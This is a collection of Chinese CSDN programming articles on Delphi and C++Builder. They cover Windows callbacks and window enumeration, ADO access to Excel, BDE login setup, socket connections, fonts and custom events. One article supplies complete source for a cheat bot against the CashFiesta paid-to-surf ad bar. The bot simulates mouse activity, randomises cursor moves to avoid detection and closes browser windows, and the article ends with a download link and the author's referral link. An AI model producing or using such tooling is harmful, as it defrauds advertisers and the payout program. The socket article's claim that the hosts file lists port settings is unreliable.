所以一个回调函数写出来之后，一定有个注册的动作，就是告诉调用者，你怎么样找到我写的函数。某些Windows API 函数会要求以回调函数地址作为其参数之一，例如SetTimer 、LineDDA 、EnumObjects，以及我们下面要用到的EnumWindows。

在Delphi里声明一个回调函数的格式很简单，例如：

function EnumWindowsProc(AhWnd:LongInt;lParam:LongInt):boolean;stdcall;

首先是函数名称可以随便乱取，但函数参数的类型一般不得乱来，其顺序，数据类型等都有规定的，因为这些都是让其他程序调用的，他们已经规定好了的，但参数名称可以随便乱叫。注意后面一定要带上“stdcall”，

stdcall是标准调用,也就是说采用标准windows参数传递方式来调用函数。

编写函数体就很简单了，利用传递过来的参数就可以了，只要记住，这些参数是别人送给你的，你只要知道这些参数代表了什么意思。

再看个向调用者注册回调函数入口地址的函数。
function EnumWindows(lpEnumFunc: TFNWndEnumProc; lParam: LPARAM): BOOL; stdcall;

TFNWndEnumProc其实就是指针类型。其中的lpEnumFunc就是回调函数的入口地址了。

下面是调用EnumWindows的格式：
EnumWindows(@EnumWindowsProc,0);

通过向系统注册回调函数的入口地址，系统就能在需要的时候，调用回调函数，传递参数给它，也许这些参数就是我们想要的。

EnumWindows函数的功能是：枚举屏幕上所有程序中的顶层窗口，将窗口句柄以参数的形式传递给回调函数。找到一个窗口，就调用一次回调函数。枚举结束的条件是：要么枚举完所有的窗口，要么回调函数返回False。

lParam: LPARAM参数是程序定义的值，这个值被传递到回调函数。

回过头来再看一下EnumWindowsProc：

function EnumWindowsProc(AhWnd:LongInt;lParam:LongInt):boolean;stdcall;

当系统找到了一个窗口后，就开始调用这个回调函数，将窗口的句柄作为第一个参数传递过来，将在EnumWindows中lParam: LPARAM这个程序定义的值作为第二个参数传递过来。

所以我们可以在EnumWindowsProc函数中利用传递过来的两个参数来做某些处理了。

下面我们新建一个程序列举系统中所有程序的顶层窗口，我们要得到窗口的标题，要得到窗口类名称。

得到窗口标题用：

function GetWindowText(hWnd: HWND; lpString: PChar; nMaxCount: Integer): Integer; stdcall;

该函数功能是将窗口句柄为hWnd的窗口的标题拷入到一个缓冲区lpString。nMaxCount是拷入缓冲区内的最大的字符数。

要得到窗口标题还可以发送消息：WM_GETTEXT，其实GetWindowText就是发送WM_GETTEXT消息的。

要得到窗口类名称用：

function GetClassName(hWnd: HWND; lpClassName: PChar; nMaxCount: Integer): Integer; stdcall;

其参数意义和上面的函数差不多。不详细解释了。

我们先编写回调函数：EnumWindowsProc。现在告诉自己，我们已经有了两个参数的值了。这两个参数是系统给我们的.

为了显示窗口标题和类名，我们用一个TMemo控件。

先在interface部分声明函数。

function EnumWindowsProc(AhWnd:LongInt;AForm:TForm1):boolean;stdcall;

注意我将第二个参数改了，不要紧，到时候调用的时候注意看。

然后在implementation部分定义函数：
function EnumWindowsProc(AhWnd:LongInt;AForm:TForm1):boolean;
var
lpszClassName,lpszWindowText:array[0..254] of char; //定义两个缓冲区。
begin
GetWindowText(AhWnd,lpszWindowText,254); //得到窗口标题
GetClassName(AhWnd,lpszClassName,254); //得到窗口类名。
Aform.memo1.lines.add(StrPas(lpszWindowText));
Aform.memo1.lines.add(StrPas(lpszClassName));
Aform.memo1.lines.add('--------------------');
Result:=True;
end;

接着需要做的就是调用EnumWindows函数，注册回调函数入口地址，让系统调用回调函数，列举窗口了。所以再添加一个TButton: btn_listwindow
procedure TForm1.btn_listwindowClick(Sender: TObject);
begin
EnumWindows(@EnumWindowsProc,LongInt(self));
end;

程序清单如下：
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Memo1: TMemo;
btn_listwindow: TButton;
procedure btn_listwindowClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

function EnumWindowsProc(AhWnd:LongInt;AForm:TForm1):boolean;stdcall;

implementation
{$R *.dfm}
function EnumWindowsProc(AhWnd:LongInt;AForm:TForm1):boolean;
var
lpszClassName,lpszWindowText:array[0..254] of char;
begin
GetWindowText(AhWnd,lpszWindowText,254);
GetClassName(AhWnd,lpszClassName,254);
Aform.memo1.lines.add(StrPas(lpszWindowText));
Aform.memo1.lines.add(StrPas(lpszClassName));
Aform.memo1.lines.add('--------------------');
Result:=True;
end;

procedure TForm1.btn_listwindowClick(Sender: TObject);
begin
EnumWindows(@EnumWindowsProc,LongInt(self));
end;

end.
F9，运行，看看结果。最好是F7单步跟踪调试一下，看看回调函数是怎么被调用的。

w8g8h@sina.com


CSDN_文档中心_如何控制其他程序窗体上的窗口控件：中

有了回调函数的概念及上面的例子,我们可以继续了。其实想要找到一个标题已知的窗口句柄,用一个API函数就可以了:FindWindow.

其函数原形是:

function FindWindow(lpClassName, lpWindowName: PChar): HWND; stdcall;

lpClassName:窗口类名.如果只知道标题,可以为空.窗口类名可以用很多工具获得.如winsignt32.
lpWindowName:窗口标题.

调用方式举例:

var wndhwnd:HWND;
wndhwnd:=FindWindow(nil,'某窗口标题');
if wndhwnd<>0 then file://找到此窗口句柄.
begin
xxxxx
end
else begin
MessageBox(self.handle,'没找到该窗口句柄','提示',0);
end;

有了这个窗口句柄,就离我们的初始目的不远了:控制其他窗体上的窗口控件.

同样,首先要得到其他窗体上窗口控件的句柄.我们用这个API函数:EnumChildWindows.

其函数原形是:
function EnumChildWindows(hWndParent: HWND; lpEnumFunc: TFNWndEnumProc;
lParam: LPARAM): BOOL; stdcall;

这个函数和EnumWindow函数很有些想象.其作用也很相似.它的功能就是列举窗口句柄为hWndParent的窗体上所有的窗口控件的句柄.同样也是以回调函数参数的形式给出的.

我们再举一个实际的例子,来说明这个函数的用法.程序的功能是让用户输入一个窗口标题,然后调用FindWindow函数找到此窗口句柄.通过这个句柄,我们在一个Memo里显示该窗口上所有的窗口控件．

同样先编写回调函数．
function EnumChildWndProc(AhWnd:LongInt;
AlParam:lParam):boolean;stdcall;
var
WndClassName: array[0..254] of Char;
WndCaption: array[0..254] of Char;
begin
GetClassName(AhWnd,wndClassName,254);
GetWindowText(aHwnd,WndCaption,254);
with form1.memo1 do
begin
lines.add( string(wndClassName));
lines.add( string(wndCaption));
lines.add('-------');
end;
result:=true;
end;

然后在一事件里调用EnumChildWindows函数．
procedure TForm1.Button1Click(Sender: TObject);
var
hWnd:LongInt;
begin
memo1.Lines.Clear;
Memo1.Lines.Add(Edit1.Text+' 有如下控件类名称');
hWnd:=FindWindow(nil,pchar(Edit1.Text));
if hWnd<>0 then
begin
EnumChildWindows(hWnd,@EnumChildWndProc,0);
end
else MessageBox(self.handle,'没找到该窗口句柄','提示',0);
end;

程序清单如下：
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Memo1: TMemo; file://用来显示找到的控件
Label1: TLabel;
Edit1: TEdit;　　file://输入标题.
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

function EnumChildWndProc(AhWnd:LongInt;
AlParam:lParam):boolean;stdcall;

implementation

{$R *.dfm}
function EnumChildWndProc(AhWnd:LongInt;
AlParam:lParam):boolean;stdcall;
var
WndClassName: array[0..254] of Char;
WndCaption: array[0..254] of Char;
begin
GetClassName(AhWnd,wndClassName,254);
GetWindowText(aHwnd,WndCaption,254);
with form1.memo1 do
begin
lines.add( string(wndClassName));
lines.add( string(wndCaption));
lines.add('-------');
end;
result:=true;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
hWnd:LongInt;
begin
memo1.Lines.Clear;
Memo1.Lines.Add(Edit1.Text+' 有如下控件类名称');
hWnd:=FindWindow(nil,pchar(Edit1.Text));
if hWnd<>0 then
begin
EnumChildWindows(hWnd,@EnumChildWndProc,0);
end
else MessageBox(self.handle,'没找到该窗口句柄','提示',0);
end;

end.

有了控件句柄,我们当然就可以随心所欲了.比如:

SendMessage(hWnd,WM_SETTEXT,0,LongInt(Pchar('sdafdsf')));就可以给控件发送文本.其他还可以发送不同的消息可以做很多事情.

但是,有很大一个问题:假设一个窗体上有很多相同的控件,并且根本没办法区分他们,即使我们能找到所有的控件句柄,我们又不能区分到底哪个是我们想要的,同样是干着急.

我想了很长时间,后来在大富翁里找到了答案,只要用到一个小技巧,就可以解决了.


CSDN_文档中心_如何利用ADO操纵Excel文件

如何利用ADO操纵Excel文件

在日常生活中,通常有很多表格文件用Excel存放,访问Excel表格的方法很多,在Delphi中可以通过Servers中的ExcelApplication,ExcelWorkBook,ExcelWorkSheet等控件操纵Excel中的数据.但是我们无法用ADO操纵Excel文件中的Sheet,ADO控件会告诉你"[Microsoft][ODBC Excel Driver]Microsoft Jet 数据库引擎找不到对象'Sheet1'.请确定对象是否存在,并正确地写出它的名称和路径.

那么如何才能正确的操纵Excel呢???

首先用ADO连接Excel,至于怎么连接Excel我想不用我说了吧.

然后这个是个关键:打开Excel,先"插入"->"名称"->"定义",如图:

输入一个名称,如:OK,按"添加"按钮,然后指定引用位置,如图:

最后按"确定",然后存盘,这关键的一步就算完成了.

现在你在Delphi中就可以通过ADOQuery或ADOTable等自由操纵表名为"OK"的表了.

注意:1.你可以在一个Excel文件中定义多个名称,当多个表使用

2.此方法不能用于Excel中的Chart等元素


CSDN_文档中心_如何取得系统中的桌面的路径

我们在编写程序的时候,经常会需要得到系统中的一些特殊目录,例如:桌面、收藏夹、历史文件、字体等。在windows98、windows NT、windows 2000中他们的位置是不一样的，尤其在windows2000和wodows NT中，他们的位置随着登陆用户的不同而改变。那么我们要如何取得这些特殊目录的具体位置呢？

当然是利用Api函数，现在我介绍两个Api函数，利用他们就可以轻松简单的获取这些特殊系统目录。

Function SHGetSpecialFolderLocation(hwndOwner: HWND; nFolder: Integer;
var ppidl: PItemIDList): HResult; stdcall;

Function SHGetPathFromIDList(pidl: PItemIDList; pszPath: PChar): BOOL;stdcall;

其中由nFolder参数指定的就是各个特殊系统目录：

CSIDL_DESKTOP：毫无疑问这就是桌面；

CSIDL_DRIVERS：我的电脑；

CSIDL_FAVORITES：收藏夹；

CSIDL_STARTUP：开始菜单；

CSIDL_NETWORK：网上邻居；

还有很多，你可以查阅一下Delphi的Win32 Api函数的帮助文件，不过在帮助文件下的这些参数也不是很全，像收藏夹帮助文件里面就没有，你可以查阅一下它的头文件：shlobj.pas。

下面我就利用这两个函数取得桌面的路径(在win98和win2000下都可以使用):

uses shlobj;

var
 pitem:PITEMIDLIST;
s:string;
begin
shGetSpecialFolderLocation(handle,CSIDL_DESKTOP,pitem);
setlength(s,100);
shGetPathFromIDList(pitem,pchar(s));
end;

在字符串s中存储的就是桌面的路径值。简单吧！就是这么简单，但要是你不知道，你就得绕一个大圈子。


CSDN_文档中心_如何设置delphi/cbuilder/BDE/MSSQL

笔者和朋友喜欢使用delphi/cbuilder编写数据库，以前均是使用桌面型数据库，没有用ODBC。
结果有一天笔者和朋友要用BDE+ODBC使用SQL SERVER数据库。我使用ODBC数据源作BDE的别名，编写好程序，结果程序运行时老是要产生一个注册进入数据库系统的注册框，怎么想办法都屏蔽不掉，没办法，只好上网查询或咨询，结果用了几个月时间询问了几百人几百站均没有正确的回答。笔者买了所有DElphi和cbuilder关于BDE和数据库方面的书，却发现所有的书上所说的跟网上所有的BBS和论坛上所说为了解决这个问题的讨论笔者均不知如何实现（可能以前看书不够仔细，没有看出个所以然来，所以走了不少弯路），笔者看不出问题出在何处，笔者和朋友花了大量的时间解决问题之所在，终于解决了这个问题。
下面是笔者winhelp和朋友fquser在新浪聊天时关于此问题解决的真正方法和笔者所走的弯路的的原因，以供大家参考。已经搞懂的朋友请大家提出宝贵意见，尚有此问题的朋友请参考本文。

不足之处请大家见谅，并不吝赐教。
笔者信箱：winhelp@sina.com

winhelp OK
winhelp 我终于弄懂了delphi的数据库了，你呢
FQUSER： 没有，那个框还是消不了，主要是要新的版本才行
winhelp 妈的所有的人说的均无法真正的屏蔽，我说的是网上
winhelp 不会的，我的老版就行，所有人说的均不正确
winhelp 我闲着没事玩了一天才搞懂的
winhelp 包括说明书上说的均不正确，也无法实现的，
FQUSER： 不可能呀
winhelp 真的，我已经通过了SQL SERVER7。0的ODBC了
winhelp 完全没有注册框的
FQUSER： sql server的用ADO当然行了，informix你也弄定了？？
winhelp 也没有用额外的控件的啊
FQUSER： 是吗，用BDE上吗
winhelp 当然是BDE自己的了
winhelp 完全用BDE/ODBC，不用ADO或DB—ACCESS之类的功能
FQUSER： 那是利害了，怎么上的呀，我一直用ADO来解决的
winhelp ADO多麻烦
FQUSER： 不一样吗，可惜是，老的informix不支持ADO
winhelp 你在窗口上随便放一个DATABASE控件，然后填入aliasName的别名（也就是BDE别名）
FQUSER： 在什么地方解决这问题呀
winhelp 然后不管三七二十一，在databasename上仍填入上面的别名
winhelp 要求相同
winhelp 注意有两点和手册上的说明不同，手册上的记载不可能实现的
FQUSER： 是吗，我试试看
winhelp 等一下，还有
FQUSER： loginprompt设为flase吧
winhelp 如果你要自动注册，应当使用loginprompt=true,然后设置onlogin事件，填入密码和用户名，用false是不行的
winhelp 你记住，大家说的错就在这儿
FQUSER： 书上不是说用FALSE
FQUSER： 是吗，我试下看
winhelp 另外，用户名前缀说的是"user name"不是username
winhelp 中间有个空格，一定要有
winhelp 而且onlogin只对true有效才不会出现窗口
winhelp 书上说的false是不行的，
winhelp false只对params有效，但也不一定行，还是添加onlogin保险
winhelp 你以前用的user name加了空格了吗？
FQUSER： 是吗，我正在试，不知能不能行了，要行，真解决大问题了
winhelp 你只要将databasename设为与别名相同
winhelp 与BDE别名相同就解决了大部分了，再设置onlogin事件就行了
FQUSER： 是吗，真奇怪了
winhelp 什么loginparams->values["user name"]="myname"
winhelp 之类的就行了
winhelp 密码的password无空格
winhelp 试出来了吗
FQUSER： 我没用onloing不行，现在正写
winhelp loginparams->values['password']='abcdefg'
winhelp 注意大小写和引号
FQUSER： 啊，搞定了，鸟人真是利害
FQUSER： 真是奇怪为什么所有的资料都是错的
winhelp 当然是错的了，上了borland的当了
FQUSER： 可一用应人人都知是错了
winhelp 你别忘了，没有多少人回答问题的人是真正用它的
winhelp 就像我一样，以前是从书上抄来的告诉你的
FQUSER： 他奶奶的
FQUSER： 你现在开始用了
winhelp 书还不是只对手册进行翻译或抄来别的书的，骗人的
winhelp 是啊
FQUSER： 妈的，可我怎也不会想到在databasename上写这个呀，你怎想到的真是利害
winhelp 随使放一个database控件，随便哪个窗口都行，不一定要是启动窗口
winhelp 妈的还不是没事干，刚好我懒得选择，就在粘板上留了一个，打算用在table和query上，结果一不小心复制位置错误，放在了database上，结果就好我，害得我试了老半天才知问题在这个属性上
winhelp 而且关键的另一个属性必须是true而不是false才响应onlogin事件，
winhelp 用false事件任何时候都出现窗口
FQUSER： 是呀，有两个地方都不一样
winhelp false属性，写错了
winhelp 不信你试试false,删除掉onlogin或保留，另在params中填入下面
winhelp user name="abcdefg"
winhelp password="xxxxxxx"
winhelp 没有密码就不用写第二行，无论无何均是不行的
winhelp 只要databasename没有设置，均不会正确的结果
winhelp 空格问题也是我费了好大劲才发现的
winhelp false属性，写错了
winhelp 不信你试试false,删除掉onlogin或保留，另在params中填入下面
winhelp user name="abcdefg"
winhelp password="xxxxxxx"
winhelp 没有密码就不用写第二行，无论无何均是不行的
winhelp 只要databasename没有设置，均不会正确的结果
winhelp 空格问题也是我费了好大劲才发现的
FQUSER： 刚BC死了
FQUSER： 气死我了
FQUSER： 刚死机了
FQUSER： 刚上来
winhelp 我也是被气坏了，找了一天才搞定的
FQUSER： 是呀，我在试个就知了
FQUSER： 鸟人真是利害人才，在这真是可惜了
winhelp 所有的BBS上的也是不行的，害得我在家查了好多地方，均没有正确的
winhelp 是啊，只是个库管员，
FQUSER： 是呀，那时我给你说，你老不信
winhelp 我当时没在意吗，谁会想到所有的地方说的均是一样的，但就是不行呢


CSDN_文档中心_如何实现SocketConnetion的连接配置

前几天因学校机房上课需要，学校要我做一个“机房学生作业系统”，要求用C/S结构，于是我决定用Socket协议来实现客户端与服务器的连接通信。

要实现Socket之间的通信，服务器端必须有Socket服务器，Borland Delphi和C++Builder自身带着，名字是：scktsrvr.exe，在Bin目录下。同时服务器段还必须包含RemoteDataModel模块，同时上面放置DataSetProvider等组件。客户端需要放置DataSource、ClientDataSet和SocketConnetion组件。

下面我们看一下如何配置。首先，设置Socket服务器的服务端口号，一般来说，设置为默认值211就行了，当然你可以设置为其他值，但是，最好你看一下你机器的端口配置情况。关于端口配置文件，你可以在window2000下的WINNT/System32/drivers/etc/下找到名为“hosts”的文件，它没有扩展名，你可以右键点击，在“选择打开方式”中选择“记事本”，这样你可以看到你机器所有端口的配置情况，当然你可以将它们进行更改。

其次，关于客户端的配置就显得比较复杂一点。SocketConnetion提供两种连接远程服务器的方式：计算机名和IP地址。关于服务器名—Host，你可以用Host="ComputerName"的方式指定，也可以通过右边的省略号按钮进行搜索。关于IP地址方式，只要将IP地址，如127.0.0.1赋给Address就性行了。但是这两个只能任选一个。

不过，其中很重要的一点是：如果你用的是计算机的名称的话，最好你的服务器上装有DNS系统，或者在客户端的"hosts"文件（windows98在Windows目录下）中在下面写入下面一行:

211.147.X.XX ComputerName

前面是服务器的IP地址，后面是服务器的名称。这样的话，客户端的SocketConnetion方能找到服务器，否则会出错。

下面我给出两种常见的错误提示：

说明你的Socket服务器没有启动，或者你的端口号不以致造成的。解决方法：1.看一下服务器是否启动；2.看看端口号是否一致。

说明你的客户端找不到服务器，如果你采用IP地址的方式连接，请确认你的IP地址是否是主机地址；如果你采用的是Host机器名的方式，请确认你的机器名是否正确，同时确认你的服务器是否应用了DNS解析服务，同时，如果你的主机没有DNS解析服务，那么清确认一下你的Hosts文件是否怎加了解析的那一行。


CSDN_文档中心_如何使广告条自动运行，仅供学习参考

各位程序员，大家辛苦了！！！

今天我一同事要我为他赚钱的东东做一个作弊程序，出于好玩，就即兴做了一个，现在贴出来让大家参考参考。我本对这类东西不感兴趣，赚钱是假，学习是真。但是看到点数快速的增加，不免也感到非常开心，不敢独享，所以一方面让大家一起学习探讨，一方面让大家赚点小钱，一方面我也可以发展几个下线。。。呵呵

程序制作说明

广告条左角的小人在走动时，表示在计费，如果小人停止了，请用光标点击小人，让它走动。
注意！！当广告条打开时，计算机屏幕右下角启动条上会显示一个CASHSURFERS"$"图标，当它是绿色时，表示在计费。- 正在赚点 （任务栏上的图标为绿色） 每隔一段时间，CASHSURFERS"$"图标就会变红. - 停止
赚点（任务栏上的"$"图标为红色） 广告条在任务栏上的"$"图标变红或小人坐下时请在广告条上移动鼠标 ，此时小人会拍拍手站起来走，如果不行请点击广告后在广告条上移动鼠标。 小人如果跑到广告条里去就要点 击他，让他回到广告条左侧，否则不会继续放广告。 技巧：当小人开始走进广告条里面时，在小人前方点击鼠 标他马上会回去，时间不会超过10 秒。CashFiesta每月付款，50美元起付，未满则累积至下月。

根据以上说明，我们可以通过移动鼠标和点击鼠标来完成广告条的自动运行。

并且考虑到无人模式和有人模式，分别做不同的处理工作。无人的情况下可以由程序自动完成，有人的情况下，仅当广告条不活动时做声音提示。

废话不说了，源代码如下：

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls,MMSystem;

type
TForm1 = class(TForm)
Timer1: TTimer;
Button1: TButton;
Label1: TLabel;
Label2: TLabel;
Memo2: TMemo;
CheckBox1: TCheckBox;
procedure Timer1Timer(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
function HexB(B:Byte):string;
function IsRun:boolean;
procedure Step1;
procedure Step2;
procedure CloseIE;
public
{ Public declarations }
end;

function EnumWindowsProc(AhWnd:LongInt;AForm:TForm1):boolean;stdcall;

var
Form1: TForm1;
IsStep2:boolean;

const
Digits : array[0..$F] of Char = '0123456789ABCDEF';

pManX:integer=45;//小人中心的位置
pManY:integer=721;//小人中心的位置

pManColor:integer=9355247;//小人身上的颜色
pManDownX:integer=44;//小人坐下时头顶的坐标
pManDownY:integer=710;//小人坐下时头顶的坐标
pManDownColor:string='FFCC00';//小人头顶的颜色

implementation

{$R *.dfm}
function TForm1.HexB(B:Byte):string;//16进制转换成字符串
begin
HexB:=Digits[B shr 4]+Digits[B and $F];
end;

function EnumWindowsProc(AhWnd:LongInt;AForm:TForm1):boolean;//回调函数
var
lpszWindowText:array[0..255] of char;
WndText:string;
begin
GetWindowText(AhWnd,lpszWindowText,256);
WndText:=StrPas(lpszWindowText);
if Pos('Microsoft Internet Explorer',WndText)>0 then//如果是ie窗口则关闭
begin
PostMessage(AhWnd,WM_CLOSE,0,0);
PostMessage(AhWnd,WM_QUIT,0,0);
end;
Result:=True;
end;

procedure TForm1.CloseIE;
begin
EnumWindows(@EnumWindowsProc,LongInt(self));
end;

procedure TForm1.Step1;
var
i:integer;
begin
SetCursorPos(pManDownX,pManDownY);//小人坐下时，把鼠标移至小人头顶，然后移动鼠标激活广告条
for i:=1 to 10 do
begin
mouse_event(MOUSEEVENTF_MOVE,0,1,0,0);
Application.ProcessMessages;
end;
end;

procedure TForm1.Step2;//小人走开时，检索小人的位置，并点击他，激活广告条
var
BkColor:TColor;
X,Y:integer;
dc:HDC;
begin
IsStep2:=True;
X:=pManX;
Y:=pManY;
dc:=GetDC(0);

while (X<1000) and (IsStep2) do
begin
BkColor:=GetPixel(dc,X,Y);
if (BkColor<pManColor+1000000) and (BkColor>pManColor-1000000) then//检索小人
begin
SetCursorPos(X,Y);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
// break;
end;
X:=X+1;
Application.ProcessMessages;
end;
IsStep2:=False;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
X,Y:integer;
begin
if IsStep2 then Exit;
if not CheckBox1.Checked then//无人模式下，随机移动鼠标，防监测
begin
Randomize;
x:=Random(1024);
y:=Random(768);
SetCursorPos(x,y);
mouse_event(MOUSEEVENTF_MOVE,1,0,0,0);
end;
if IsRun then
begin
Label2.Font.Color:=clGreen;
Timer1.Tag:=0;
exit;
end;
if CheckBox1.Checked then//在工作模式下，如果广告条不计点了，就用声音提醒，不做其他操作，以免影响计算机的使用
begin
SndPlaySound('c:\windows\media\tada.wav',SND_ASYNC);
Exit;
end;
Label2.Font.Color:=clRed;
if Timer1.Tag=1 then
begin
Step2;
CloseIE;
Timer1.Tag:=0;
Memo2.Lines.Add(TimeToStr(now)+' step2');
end
else
begin
Step1;
Timer1.Tag:=1;
Memo2.Lines.Add(TimeToStr(now)+' step1');
end;
end;

function TForm1.IsRun:boolean;//判断小人是否在走动
var
BkColor:TColor;
R,G,B:Byte;
HStr:string;
begin
BkColor:=GetPixel(GetDC(0),pManDownX,pManDownY);
R:=GetRValue(BkColor);
G:=GetGValue(BkCOlor);
B:=GetBValue(BkColor);
HStr:=HexB(R)+HexB(G)+HexB(B);
if HStr=pManDownColor then
Result:=False
else
Result:=True;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
Timer1.Enabled:=not Timer1.Enabled;
if Timer1.Enabled then
begin
Button1.Caption:='Click To Stop';
Label1.Font.Color:=clGreen;
end
else
begin
Button1.Caption:='Click To Start';
Label1.Font.Color:=clRed;
IsStep2:=False;
end;
end;

end.

我的广告条是在1024*768的方式下运行的，而且是放在屏幕下方，如果您的设置与我不一样，请调整几个常量的值（pManX,pManY,pManDownX,pManDownY）。

源代码下载http://ono.3322.org/mysoft/cash.zip

赚钱详尽注册方法http://ono.3322.org/bbs/dispbbs.asp?boardID=2&RootID=19&ID=19

如果注册的话，请别忘了加上我的ID，看在我写了这么多的面子上吧。

注册地址：http://www.cashfiesta.com/php/join.php?ref=ericss


CSDN_文档中心_如何统一Win98与WinXP(Win2000)操作系统下的字体大小

如何统一Win98与WinXP(Win2000)操作系统下的字体大小
2002-7-3 11:41:50 本站原创 黑兵 阅读2次
    我们在使用BCB5编程过程中，经常会遇到一些控件比如TLable及TComboBox等显示字体大小在Windows98及WinXP或者Windows2000下字体大小不统一的问题，我们在Windows98操作系统下编写的程序，编译成功后，将.exe文件拷贝到别的操作系统下，比如windows2000、WinXP等，当我们运行程序时，会发现，一些控件比如TLable及TComboBox等中显示的字体变大了，直接严重地影响了应用程序的界面整体效果，那么，我们怎么去解决这个问题，而让这个应用程序各部分字体显示的大小都统一了呢？
    首先，我们选择一个控件，比如TLable控件，然后，在左边的属性列表中选择Font属性，点击它左边的加号，打开它的子属性，在Font属性中，我们将它的Charset子属性设置为GB2312_CHARSET，将它的Name子属性设置为“宋体”，Size子属性设置为10，保存文件，重新编译。然后，我们再将重新编译好的.exe应用程序文件拷贝到装有WinXP或者Windows2000的机器中，运行程序，我们会惊喜地发现，字体显示正常了。
    由此看来，字体显示问题是源于Font属性设置的，当它的Charset子属性是默认值时，程序会自动读取当前操作系统的默认设置，而Windows98与WinXP(Windows2000)对字体显示的默认值是不同的，所以才会出现字体大小显示不同的情况，这并不能算作BCB5的Bug，而是操作系统的默认值不同。一样是默认值，在WinXP及Windows2000中并没有将所有显示的汉字当作符合GB2312的字符集来处理，显示的字体也没有当作真正的纯中文字体来显示。
    下面，我们再来重申一下能够显示字体的控件的Font属性的几个子属性：

子属性名称 | 值
Charset | GB2312_CHARSET
Name | 宋体
Size | 10

欢迎参与讨论!　　黑兵网站（http://www.ancn.net）
621150@0451.com OICQ:621150
2002年7月3日


CSDN_文档中心_如何为Delphi程序添加事件和事件处理器

    Delphi是一种功能很强的可视化程序开发工具。我们在使用Delphi开发WINDOWS 应用程序的过程中，虽然Delphi为每个可视化组件都提供了很多属性（Property）和事件（Event），但在实际应用中可能会碰到一些自己需要的特殊事件，这些特殊事件Delphi 又没有提供，这时我们就需要为应用程序添加这些特殊事件。当这些事件发生后，又能马上调用处理这些事件的过程。本文通过实例来说明如何为应用程序添加事件和处理事件的过程。

    在Delphi中，事件实际上是专门化的属性，它是一个过程（procedure）的指针。要添加事件，首先应在所定义的类中说明一个用来指向事件过程的指针，该指针的作用是当事件一旦发生，就通过这个指针执行所指向的处理这个事件的过程。最后通过指定符 published公布定义的事件属性以及与之关联的事件处理过程指针。

    本例中，FtooBig为定义的事件处理过程指针，OnTooBig为事件属性名。事件处理过程指针FtooBig通过程序的初始化使之指向过程TooBig1。在Delphi的表单（Form1）上放置三个编辑框，分别为Edit1、Edit2和Edit3，放一按钮Button1。程序中设私有整型变量val1、val2和res，变量res用来记录val1和val2的乘积，并用Edit3显示出来。当通过Edit1和Edit2输入的数据有一个大于100时，会触发一个事件，并调用事件处理过程TooBig1显示一个对话框，说明此事件已经发生并已进行处理。源程序代码如下, 该程序在Delphi 3中调试通过。

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms, Dialogs,
  StdCtrls;
type
  TForm1 = class(TForm)
    Edit1: TEdit;    {输入第一个整数}
    Edit2: TEdit;    {输入第二个整数}
    Edit3: TEdit;    {输出前二个整数的积}
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
procedure TooBig1(Sender: TObject);
  {当事件触发后调用此过程}
    procedure FormCreate(Sender: TObject);
  private
val1,val2,res:integer; {val1和val2存放输入的两个整数，res存放两数的积}
FTooBig : TNotifyEvent;   {定义一个指向事件处理器的指针FTooBig}
    { Private declarations }
  public
    { Public declarations }
  published
property  OnTooBig:TNotifyevent read
FTooBig write FTooBig;{定义事件}
  end;

var
  Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
  val1 := StrToInt(Edit1.Text);
  val2 := StrToInt(Edit2.Text);
  if(val1< 100)and(val2< 100) then
    begin
      res := val1*val2;
      Edit3.Text := IntToStr(res);
    end
  else
    if assigned(FTooBig) then   OnTooBig(Self);
end;

procedure TForm1.TooBig1(Sender: TObject);
begin
Application.MessageBox('Too Big',' Test Event! ',MB_OK);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  val1:=1;
  val2:=1;
  FTooBig := TooBig1;{使事件处理指针指向事件处理器}
end;

end.


CSDN_文档中心_如何移动没有标题的窗体

1、如何移动没有标题的窗体 * "欺骗"系统,让他认为点中的是窗体的标题行：在FORM的Private定义中作如下声明： procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest; 函数的实现： procedure TForm1.WMNCHitTest(var M: TWMNCHitTest); begin inherited; if M.Result = htClient then M.Result := htCaption; end; ** 更为简单的方法是这样的：在窗体(或其他可视控件)的onMouseMove事件里添加这样的语句： if (ssleft in Shift) then begin ReleaseCapture; Perform(WM_syscommand, $F012, 0); end; 并且这种方法比上一种更灵活许多。


CSDN_文档中心_如何用Delphi编写自己的可视化控件

如何用Delphi编写自己的可视化控件
----------------------------------------------------------------------
    可视化控件(Visual Component)实际上就是一个类(class)，要编写一个类，可以直接在*.pas文件中编写。但是要编写控件，则必须使用包(package)。从File菜单中选择New，新建一个Package，这就是存放和安装控件用的包。然后单击Package窗口中的Add按钮，添加一个元件(Unit)。
    在弹出的对话框最上方选择New Component。因为一个控件的所有属性、方法、事件不可能都由自己编，所以就需要选择祖先类（或者叫做"父类"或"基类"），然后再在其上面添加自己的属性、方法、事件。在Ancestor type后的下拉框中选择所需的祖先类。由于编写可视化控件必须要画图，所以选择TGraphicControl作为祖先类。再在Class Name框中输入新控件（类）的名称，一般以"T"开头。Palette Page是用来选择新控件在Delphi的窗口中的控件页面名称，例如"Standard"，这个可以自己取。在Unit File Name中添好新控件文件的路径及文件名，单击OK按钮。新的控件便加入了。现在可以为该控件编写代码了。
    下面以编写一个可以自定义图片的滚动条为例，说明编写可视化控件的方法。
